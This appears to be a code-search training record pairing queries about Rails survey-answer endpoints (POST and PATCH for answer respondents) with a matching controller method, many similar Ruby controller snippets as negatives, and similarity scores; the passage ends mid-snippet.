"def destroy\n @answer_respondent.destroy\n respond_to do |format|\n format.html { redirect_to answer_respondents_url, notice: 'Answer respondent was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def reply\n results = QuestionDatabase.instance.execute(<<-SQL, self.reply_id)\n SELECT * FROM replies WHERE id = ?\n SQL\n \n results.map { |result| Reply.new(result) }\n end", "def index\n @survey_questions = SurveyQuestion.all\n render json: @survey_questions.to_json(include: {\n answer_options: {\n include: {\n chosen_answers: {}\n } \n }\n })\n end", "def index\n @prompts = Prompt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prompts }\n end\n end", "def index\n @talk_suggestions = TalkSuggestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talk_suggestions }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n end", "def answer\n @plan = Plan.find(params[:id])\n authorize @plan\n if params[:q_id].nil?\n respond_to do |format|\n format.json { render json: {} }\n end\n else\n respond_to do |format|\n format.json do\n render json: @plan.answer(params[:q_id], false).to_json(include: :options)\n end\n end\n end\n end", "def show\n @answer = Answer.find(params[:id])\n authorize! :read, @answer\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def index\n @answers = Answer.all\n end", "def index\n @answers = Answer.all\n end", "def index\n @answers = Answer.all\n end", "def index\n @answers = Answer.all\n end", "def index\n @answers = Answer.all\n end", "def show\n @responses = Response.find(params[:id])\n respond_with @response\n end", "def my_scn_answers\n\t\t#collect all the answers of current user\n\t answers = current_user.answers.all.map(&:question).uniq\n\t\tif answers.present?\n\t\t# response to the JSON\n\t\trender :json=> {success: true, \"answers\" => answers.as_json('my_scn_answers')}\n\t else\n\t render :json=> { success: false, message: \"Answers are not present\" },:status=> 203\n\t end\n\tend", "def answer_by_id(question, id)\n\t\t\t\tbegin\n\t\t\t\t\tanswer = question.answers.find(id)\n\t\t\t\trescue ActiveRecord::RecordNotFound\n\t\t\t\t\thalt 404\n\t\t\t\tend\n\t\t\tend", "def index\n @answers = Answer.all\n \n end" ]
[ "0.78993326", "0.7420731", "0.7149237", "0.6772038", "0.6755213", "0.67280173", "0.67280173", "0.67280173", "0.6712765", "0.6687646", "0.6687646", "0.6687646", "0.6687646", "0.66876227", "0.6666691", "0.6657036", "0.6609106", "0.66005814", "0.65898", "0.6573502", "0.65633553", "0.6550209", "0.6548494", "0.6540755", "0.63876265", "0.6373713", "0.63703555", "0.63568693", "0.6348503", "0.6337071", "0.6336797", "0.63351583", "0.63345474", "0.63345474", "0.63217765", "0.63205826", "0.63050413", "0.62986857", "0.62957174", "0.62908447", "0.6268895", "0.6268355", "0.6256557", "0.6241837", "0.6241837", "0.6216011", "0.62158835", "0.6214049", "0.6214049", "0.61960626", "0.6185299", "0.61815524", "0.61815524", "0.6170441", "0.61697066", "0.6169623", "0.6156326", "0.61118907", "0.61010844", "0.6092555", "0.6079464", "0.6072102", "0.6071124", "0.60662323", "0.60604054", "0.6059199", "0.6051533", "0.60313094", "0.60262406", "0.6013449", "0.6013449", "0.6006011", "0.60023034", "0.5983358", "0.59802896", "0.597922", "0.597013", "0.59530795", "0.59443825", "0.5943404", "0.5935491", "0.5933995", "0.5932549", "0.5931763", "0.5914852", "0.59114057", "0.59080136", "0.58967215", "0.589376", "0.58847547", "0.58828413", "0.5873869", "0.5862373", "0.5862373", "0.5862373", "0.5862373", "0.5862373", "0.58614683", "0.5860109", "0.58578515", "0.5856256" ]
0.0
-1
POST /answer_respondents POST /answer_respondents.json
def create @answer_respondent = AnswerRespondent.new(answer_respondent_params) respond_to do |format| if @answer_respondent.save format.html { redirect_to @answer_respondent, notice: 'Answer respondent was successfully created.' } format.json { render :show, status: :created, location: @answer_respondent } else format.html { render :new } format.json { render json: @answer_respondent.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def answer_respondent_params\n params.require(:answer_respondent).permit(:answer_id, :respondent_id)\n end", "def set_answer_respondent\n @answer_respondent = AnswerRespondent.find(params[:id])\n end", "def index\n @answer_respondents = AnswerRespondent.all\n end", "def create\n @answer = @question.answers.build(answer_params)\n @answer.save\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end", "def add_answer\n request('answers/add')\n end", "def answers\n request('answers')\n end", "def answer_params\n params.require(:answer).permit(:content, :question_id, :response_id)\n end", "def response_params\n params.require(:response).permit(:user, :questionnaire_id, answers_attributes: [:id, :content, :question_id])\n end", "def reply_answer_params\n params.require(:reply_answer).permit(:body, :user_id, :question_id, :answer_id)\n end", "def create\n @answer = @question.answers.new(answer_params)\n\n if @answer.save\n respond_to_save_success(@answer, [@question, @answer])\n else\n respond_to_save_failure(:new, @answer)\n end\n end", "def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end", "def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end", "def create\n \n respond_to do |format|\n \n if !params[:questions].nil? \n params[:questions].each {\n |q| \n type = Question.find_by_id(q[0]).question_type\n answer = (type == 2 ? Answer.find_by_id(q[1]).correct : nil)\n Response.new( \n {\n \"question_id\" => q[0],\n \"answer_id\" => type == 2 ? q[1] : nil,\n \"text\" => type == 1 ? q[1] : nil,\n \"user_id\" => current_user.id,\n \"question_group_id\" => params[:response][:question_group_id],\n \"correct\" => answer\n }\n ).save\n }\n format.html { redirect_to '/responses', notice: 'Your responses were successfully saved.' }\n else\n @response = Response.new(params[:response])\n if @response.save\n format.html { redirect_to @response, notice: 'Response was successfully created.' }\n format.json { render json: @response, status: :created, location: @response }\n end\n end\n end\n end", "def create\n @answer = AttemptAnswer.new(answer_params) \n \n if @answer.save\n render json: @answer, status: :created \n else\n head(:unprocessable_entity)\n end\n end", "def create\n @question = Question.find(params[:question_id])\n @answer = @question.answers.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to question_answer_url(@question, @answer), notice: \"Answer was successfully created.\" }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def answers(options={})\n parse_answers(request(singular(id) + \"answers\", options))\n end", "def answer_a_question\n user = current_user\n render_401 and return unless user\n question = ShortQuestion.find_by_id(params[:id])\n render_404 and return unless question\n\n obj = {\n :qid => params[:id],\n :answer => params[:choice]\n }\n \n answers = {}\n $r.multi do\n $r.lpush(\"user:#{user.id}:questions\", obj)\n $r.hincrby(\"question:#{question.id}:answers\", \"choice#{params[:choice]}\", 1)\n choices = $r.hget(\"question:#{question.id}:answers\", :num_choices)\n for i in 1..choices\n answers[i] = $r.hget(\"question:#{question.id}:answers\", \"choice#{i}\")\n end\n end\n render :json => {\n :success => true,\n :answers => answers\n }\n end", "def create\n @response = Response.new(params[:response])\n @response.ip_address = request.remote_ip\n @response.survey_id = @survey.id\n @response.user_id = current_user\n \n for param in params do\n if param[0] =~ /^question_id_/\n # handle all question parameters\n # $' represents the value of the question_id\n if param[1].is_a? Hash\n # Valid keys include country, option, year, month, day and numeric option_id\n if param[1].has_key? \"year\" && \"month\" && \"day\"\n # concat year, month and day into one answer\n @response.answers.build(:question_id => $', :answer => Date.new(param[1][\"year\"].to_i, param[1][\"month\"].to_i, param[1][\"day\"].to_i) )\n elsif param[1].has_key? \"option\"\n # look up option id for radio & select questions and build answer\n option_id = Option.find_by_label_and_question_id(param[1][\"option\"], $').id\n @response.answers.build(:question_id => $', :answer => param[1][\"option\"], :option_id => option_id)\n elsif param[1].has_key? \"country\"\n # build country answer\n @response.answers.build(:question_id => $', :answer => param[1][\"country\"])\n else\n # build checkbox and likert answers\n param[1].each do |key, value|\n @response.answers.build(:question_id => $', :answer => value, :option_id => key) unless value == \"0\"\n end\n end\n else\n # build answer without option ie text, textarea\n @response.answers.build(:question_id => $', :answer => param[1] ) #unless param[1].blank?\n end \n end\n if param[0] == 'token'\n @response.survey.update_invitation(param[1])\n end\n end\n\n respond_to do |format|\n if @response.save!\n flash[:notice] = 'Response was successfully created.'\n format.html { redirect_to([@survey, @response]) }\n format.xml { render :xml => @response, :status => :created, :location => @response }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @response.errors, :status => :unprocessable_entity }\n end\n end\n rescue ActiveRecord::RecordInvalid => invalid\n render :action => \"new\"\n end", "def create\n @reply_answer = ReplyAnswer.new(reply_answer_params)\n\n @answer = Answer.find_by_id(@reply_answer.answer_id)\n @replyer = User.find_by_id(@reply_answer.user_id)\n @answerer = User.find_by_id(@answer.user_id)\n @question = Question.find_by_id(@reply_answer.question_id)\n\n\n # Sends email to original answerer letting them know that a reply has been made.\n UserMailer.reply_to_answer_question(@question, @answerer, @replyer, @answer, @reply_answer).deliver\n\n respond_to do |format|\n if @reply_answer.save\n format.html { redirect_to question_path(@reply_answer.question_id), notice: 'Reply answer was successfully created.' }\n format.json { render :show, status: :created, location: @reply_answer }\n else\n format.html { render :new }\n format.json { render json: @reply_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n\t\trespond_to do |format|\n\t\t\tif @answer.save\n\t\t\t\tformat.html { redirect_to @answer, notice: 'Survey was successfully created.' }\n\t\t\t\tformat.json { render action: 'show', status: :created, location: @answer }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'new' }\n\t\t\t\tformat.json { render json: @answer.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n workout = Workout.find params[:workout_id]\n result = Question.create(workout, { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n @question = result[:question]\n\n respond_to do |format|\n unless @question.persisted?\n format.json { render :json => @question.errors.full_messages, :status => :unprocessable_entity }\n else\n format.json { render :json => @question.as_json({:include => :answers}) }\n end\n \n end\n\n end", "def answer_params\n params.require(:answer).permit(:answer, :response, :survey_id, :question_id, :response_id, :user_id)\n end", "def create\n @answer = Form::Answer.new(answer_params)\n respond_to do |format|\n if @answer.save\n format.html { redirect_to thanks_path, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def response_params\n params.require(:response).permit(:survey_id,\n :answers_attributes => [:id, :answer, :question_id]\n )\n end", "def answer_params\n params.require(:answer).permit(:user_id, :question_id, :content, :is_tweet, :is_anonymous)\n end", "def response_params\n params.require(:response).permit(\n :ip, \n :survey_id, \n :answers_attributes => [\n :id, \n :answer, \n {:resp => []}, \n :survey_id, \n :question_id, \n :response_id, \n :user_id \n ])\n end", "def answered\n @the_question = Question.find(params[:id])\n @the_question.answered = true\n @the_question.save\n render json: [{question: @the_question}]\n end", "def answer_params\n params.require(:answer).permit(:body, :question_id, :status)\n end", "def answer_params\n params.permit(:body, :user_id, :question_id, :question_accepted_id)\n end", "def update\n respond_to do |format|\n if @answer_respondent.update(answer_respondent_params)\n format.html { redirect_to @answer_respondent, notice: 'Answer respondent was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer_respondent }\n else\n format.html { render :edit }\n format.json { render json: @answer_respondent.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n\t\tquestionId = params[:questionId]\n\t\tanswerId = params[:answerId]\n\t\tanswer = params[:answer]\n\t\tnumAnswers = params[:numAnswers].to_i\n\n\t\tbegin\n\t\t\tsuccess = ParseManager.createUserAnswer(answer, answerId, questionId)\n\t\t\tnumAnswers -= 1\n\t\tend until numAnswers == 0\n\n\t\trender json:success\n\tend", "def answer_params\n params.require(:answer).permit(:body, :question_id)\n end", "def responses\n question=Question.find(params[:questionId])\n render :json=> question.response\n end", "def answer\n survey = Survey.find(find_params)\n sa = SurveyAnswerer.new(survey)\n\n if sa.answer(answer_params)\n head :ok\n else\n render json: sa.errors, status: :unprocessable_entity\n end\n end", "def create\n @answer = Answer.new(params[:answer])\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render json: @answer, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @answer = Answer.new(params[:answer])\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render json: @answer, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @answer = Answer.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html {\n redirect_to questions_url,\n notice: 'Answer submit successful.'\n }\n else\n format.html { render :new }\n format.json {\n render json: @answer.errors,\n status: :unprocessable_entity\n }\n end\n end\n end", "def create\n @answer = Answer.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @answer = Answer.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @answer = current_user.answers.build(params[:answer])\n if @answer.save\n @post = @answer.post\n Notifier.delay.new_answer(@post.user, @answer)\n if @post.user != current_user\n current_user.update_attributes(cred_count: current_user.cred_count + 10)\n end\n return render status: 200, json: { success: true }\n else\n return render :status => :unprocessable_entity,\n :json => { success: false, :error => \"There was a problem posting your advice.\" }\n end\n end", "def create\n @question = Question.find(params[:question_id])\n @answer = @question.answers.build(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @question, notice: 'Answer was successfully created.' }\n format.json { render json: @answer, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if current_user.member?\n @answer = Answer.new(answer_params)\n @answer.user_id = current_user.id\n @answer.question_id = params[:questid]\n respond_to do |format|\n if @answer.save\n AnswerMailer.answer_email(@answer.question.user,@answer.user).deliver_now\n format.html { redirect_to '/', notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n\n else\n respond_to do |format|\n format.html { redirect_to '/',notice: 'You are not authorized to answer questions' }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n\n end\n end", "def answer_params\n params.require(:answer).permit(:body)\n end", "def create\n @answer = Answer.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @answer }\n else\n format.html { render action: 'new' }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def answer_params\n params.require(:answer).permit(:text, :votes, :question_id)\n end", "def create\n # @answer = Answer.new\n # @answer.user_id = current_user.もid\n # @answer.question_id = params[:question_id]\n # @answer.content = params[:content]\n # @answer.save\n # 一個保存できれば、何個でも保存できる\n if !params[:answer][:content]\n render json: {errors: \"未入力の項目があります。\"}, status: 422\n\n end\n @answer = current_user.answers.build(answer_params)\n @answer.save\n end", "def destroy\n @answer_respondent.destroy\n respond_to do |format|\n format.html { redirect_to answer_respondents_url, notice: 'Answer respondent was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def answer_params\n params.require(:answer).permit(:question_number, :question_response, :taker_id, :question_id)\n end", "def index\n @reply_answers = ReplyAnswer.all\n end", "def submit_form\n answers_params = params.permit!\n\n render json: Answer.insert_answers(answers_params, current_user[\"id\"])\n end", "def create\n answer = Answer.new(content: params[:content], upvotes: 0, downvotes:0, user_id: params[:user_id], question_id: params[:question_id])\n \n if answer.save\n render json: {answer: answer, create_time: (answer.created_at.to_f * 1000).to_i, success: true}\n else\n render json: @answer.errors, success: false\n end\n end", "def answer_params\n params.require(:answer).permit(:content, :question_id)\n end", "def create\n @question = Question.create!(question_params.merge({user_id: 1}))\n if question_params[:answers]\n question_params[:answers].with_indifferent_access.each do |answer|\n Answer.create!(name: answer[:name], question_id: @question.id)\n end\n end\n @question.prepare\n @question.broadcast\n render json: @question, status: :created\n end", "def reply_params\n params.require(:reply).permit(:message, :realtor_id, :inquiry_id)\n end", "def answer_params\n params.require(:answer).permit(:user_id, :question_id, :content, :book_id, :title, :is_tweet, :is_anonymous)\n end", "def answer_params\n params.require(:answer).permit(:content)\n end", "def answer_params\n params.require(:answer).permit(:content)\n end", "def answer_params\n params.require(:answer).permit(:content)\n end", "def answer_params\n params.require(:answer).permit(:content)\n end", "def answer_params\n params.require(:answer).permit(:content)\n end", "def answer_params\n params.require(:answer).permit(:content)\n end", "def answer_params\n params.require(:answer).permit(:content)\n end", "def answer_params\n params.require(:answer).permit(:content, :up_vote, :down_vote, :question_id, :user_id)\n end", "def answer_params\n params.require(:answer).permit(:content, :user_id, :post_id)\n end", "def reply_params\n params.require(:reply).permit(:question_id, :reply, :bool)\n end", "def create\n @answer = current_user.answers.new(answer_params)\n @answer.question = @question\n @question.update(cant_answers: @question.cant_answers + 1)\n @answer.puntaje = 0\n @answer.best = false;\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer.question, notice: 'Respuesta creada satisfactoriamente' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @given_answer = GivenAnswer.new(given_answer_params)\n\n respond_to do |format|\n if @given_answer.save\n format.html { redirect_to @given_answer, notice: 'Given answer was successfully created.' }\n format.json { render :show, status: :created, location: @given_answer }\n else\n format.html { render :new }\n format.json { render json: @given_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @m_answer = @m_question.m_answers.build(m_answer_params)\n respond_to do |format|\n if @m_answer.save\n format.html { redirect_to m_question_path(@m_question) }\n format.json { render action: 'show', status: :created, location: @m_answer }\n else\n format.html { render action: 'new' }\n format.json { render json: @m_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @answer = Answer.new(answer_params.merge(user_id: current_user.id))\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to question_path(@answer.question) }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n passed = true\n count = 0\n if params[:status] == \"listOfAnswers\"\n params[:answers].each do |ans|\n @answer = Answer.new(answers_params(ans))\n if @answer.save\n if @answer.correct\n count = count + 1\n # update_result ans[:user_id], ans[:quiz_id]\n end\n else\n passed = false\n end\n end\n if passed\n create_result params[:answers].first[:user_id], params[:answers].first[:quiz_id], count\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n else\n @answer = Answer.new(answer_params)\n if @answer.save\n if @answer.correct\n update_result\n end\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end\n end", "def answer_params\n params.require(:answer).permit(:content, :user_id, :question_id)\n end", "def create\n question_response = QuestionResponse.build_response_essay(current_user, params)\n\n if question_response.try :save\n render json: { message: \"answer saved\" }\n else\n render json: { message: \"error\" }, status: :unprocessable_entity\n end\n end", "def answer_params\n params.require(:answer).permit(:answer, :question_id, :user_id)\n end", "def create\n @asked_to_answer = AskedToAnswer.new(asked_to_answer_params)\n\n respond_to do |format|\n if @asked_to_answer.save\n format.html { redirect_to @asked_to_answer, notice: 'Asked to answer was successfully created.' }\n format.json { render :show, status: :created, location: @asked_to_answer }\n else\n format.html { render :new }\n format.json { render json: @asked_to_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def answers(options={})\n @answers = self.class.parse_answers(request(singular(question_id) + \"/answers\", options))\n end", "def answer_params\n params.require(:answer).permit(:text, :question_id, :correct)\n end", "def answers(options={})\n self.class.parse_answers(request(singular(user_id) + \"/answers\", options))\n end", "def reply_params\n params.require(:reply).permit(:body, :repliable_id)\n end", "def answer_params\n params.require(:answer).permit(:contents,:accept)\n end", "def answer_params\n params.require(:answer).permit(:content, :user_id, :rating_id, :question_id)\n end", "def answer_params\n # Rails.logger.debug \"Params: #{params.inspect}\"\n params.require(:answers).permit(:answer, :updated_at, :users_id, :questions_id)\n end", "def answer_params\n params.require(:answer).permit(:text, :question_id, :correction_id)\n end", "def list_answer_responses\n article = find_entity # questionnaire article\n receive_and_set_background_params\n @display_mode = params[:display_mode]\n @is_answer_response = true # choose only answer response article to questionnaire article\n @question_entities = article.questionnaires\n find_detail_of_thread(article.a_thread)\n render :partial => \"detail_with_answer_responses\", :layout => \"base_layout\"\n end", "def create\n @answer = Answer.new(params[:answer])\n\n respond_to do |format|\n if @answer.save\n @answer.create_activity :create, owner: current_user\n flash.now[:notice] = 'Answer was successfully created.'\n format.html { redirect_to @answer }\n format.json { render json: @answer, status: :created, location: @answer }\n format.js { render \"answers/create\", :layout => false }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n format.js do\n render \"answers/create\", :layout => false\n end\n end\n end\n end", "def response_params\n params.require(:response).permit(:user_id, :issue_id, :answer, :timestamp)\n end", "def create\n @v1_answer = current_user.answers.new(v1_answer_params)\n if @v1_answer.save\n render json: @v1_answer, status: :created\n else\n render json: @v1_answer.errors, status: :unprocessable_entity\n end\n end", "def answer_params\n params.require(:answer).permit(:contents)\n end", "def answer_params\n params.require(:answer).permit(:contents)\n end", "def answer_params\n params.require(:answer).permit(:contents)\n end", "def answer_params\n params.require(:answer).permit(:contents)\n end", "def answer_params\n params.require(:answer).permit(:contents)\n end", "def answer_params\n params.require(:answer).permit(:answer, :approved)\n end", "def answer_params\n params.require(:answer).permit(:body,:anonymous)\n end", "def prompt_params\n params.require(:prompt).permit(\n :id,\n replies: [\n :id,\n :answer,\n :skipped,\n :not_applicable\n ]\n )\n end", "def set_reply_answer\n @reply_answer = ReplyAnswer.find(params[:id])\n end", "def create\n @client_answer = ClientAnswer.new(params[:client_answer])\n\n respond_to do |format|\n if @client_answer.save\n format.html { redirect_to @client_answer, notice: 'Client answer was successfully created.' }\n format.json { render json: @client_answer, status: :created, location: @client_answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def answer_params\n\t\tparams.require(:patient).permit(answers_attributes: [:presence, :response, :id,:personne_id, :_destroy])\n\tend", "def create\n @answer = Answer.new(answer_params)\n @answer.user = current_user\n\n respond_to do |format|\n if @answer.save\n SlackNotifierJob.perform_later(\"The experts have responded: *#{@answer.question.first_line_for_slug.strip}* #{question_url(@answer.question)}\")\n\n format.html { redirect_to @answer.question, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { redirect_to root_path, alert: 'There was a problem saving your answer.' }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def submit_answers(connection_id, answers)\n connection_id.require!(as: 'connection_id')\n answers.require!(as: 'answers')\n answers.each do |answer|\n answer.require!(:answer, :question)\n end\n\n params = { questions: answers.to_json }\n api(:put, \"/connections/#{connection_id}/challenges\", params)\n .fetch('challenges')\n .cast(Challenge)\n end", "def create\n @reply_vote = ReplyVote.new(params[:reply_vote])\n @reply_vote.user = current_user\n @reply_vote.reply=Reply.find(params[:reply_id])\n\n respond_to do |format|\n if @reply_vote.save\n format.html { redirect_to posts_path, notice: 'Reply vote was successfully created.' }\n format.json { render json: posts_path, status: :created, location: @reply_vote }\n else\n format.html { redirect_to posts_path, :flash => {:alert => \"You can only vote once per reply!\"} }\n format.json { render json: @reply_vote.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7431237", "0.7284853", "0.7212755", "0.66907847", "0.66442853", "0.6495077", "0.6491485", "0.64622796", "0.64386237", "0.6377557", "0.63708645", "0.63708645", "0.6366774", "0.6341342", "0.63385785", "0.6307716", "0.6262253", "0.6255723", "0.62530404", "0.62362015", "0.62299997", "0.62203", "0.62192935", "0.62048686", "0.61920947", "0.61915606", "0.6185461", "0.61806065", "0.6163727", "0.6159328", "0.6143454", "0.61300826", "0.61232626", "0.61107606", "0.61093074", "0.61093074", "0.6107517", "0.6106409", "0.6106409", "0.6105731", "0.61046165", "0.6082672", "0.6063956", "0.6056846", "0.6055826", "0.6048559", "0.6047308", "0.60462713", "0.60419476", "0.6037231", "0.6013205", "0.6010967", "0.60076445", "0.6004581", "0.60022134", "0.6000721", "0.6000721", "0.59994566", "0.59994566", "0.59994566", "0.59994566", "0.59994566", "0.59966046", "0.59906834", "0.5985726", "0.59831756", "0.5979908", "0.59745663", "0.5960577", "0.5959631", "0.5940077", "0.5930635", "0.5929185", "0.59095764", "0.5908121", "0.5904228", "0.5899028", "0.589154", "0.5885715", "0.58825564", "0.5879499", "0.58773637", "0.5868192", "0.5867975", "0.58571047", "0.5854037", "0.5852262", "0.5852262", "0.5852262", "0.5852262", "0.5852262", "0.58464897", "0.584368", "0.58406174", "0.58354723", "0.5831721", "0.58265585", "0.5826296", "0.5821456", "0.58213043" ]
0.73354363
1
PATCH/PUT /answer_respondents/1 PATCH/PUT /answer_respondents/1.json
def update respond_to do |format| if @answer_respondent.update(answer_respondent_params) format.html { redirect_to @answer_respondent, notice: 'Answer respondent was successfully updated.' } format.json { render :show, status: :ok, location: @answer_respondent } else format.html { render :edit } format.json { render json: @answer_respondent.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @question = Question.update(params[:id], { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n respond_to do |format|\n format.json { render :json => @question.as_json({:include => :answers}) }\n\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render :action => \"edit\" }\n # format.json { render :json => @question.errors, :status => :unprocessable_entity }\n # end\n end\n end", "def update\n @answer = current_user.answers.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.json { head :no_content }\n else\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_answer_respondent\n @answer_respondent = AnswerRespondent.find(params[:id])\n end", "def update\n @answer.update(answer_params)\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end", "def update\n @answer = Answer.find(params[:id])\n\n if @answer.update(answer_params)\n head :no_content\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end", "def update_correct_answer\n question_params = params.permit(:question_id, :question_type_id, :option_id)\n \n render json: Question.update_correct_option(question_params)\n end", "def update\n\t\trespond_to do |format|\n\t\t\tif @answer.update(answer_params)\n\t\t\t\tformat.html { redirect_to @answer, notice: 'Survey was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @answer.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to questions_url, notice: 'Answer edited.' }\n else\n format.json {\n render json: @answer.errors,\n status: :unprocessable_entity\n }\n end\n end\n end", "def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_answer\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to :planner, notice: 'Answer was successfully updated.' }\n format.json { respond_with_bip(@answer) }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @reply_answer.update(reply_answer_params)\n format.html { redirect_to @reply_answer, notice: 'Reply answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply_answer }\n else\n format.html { render :edit }\n format.json { render json: @reply_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find(params[:id])\n\n respond_to do 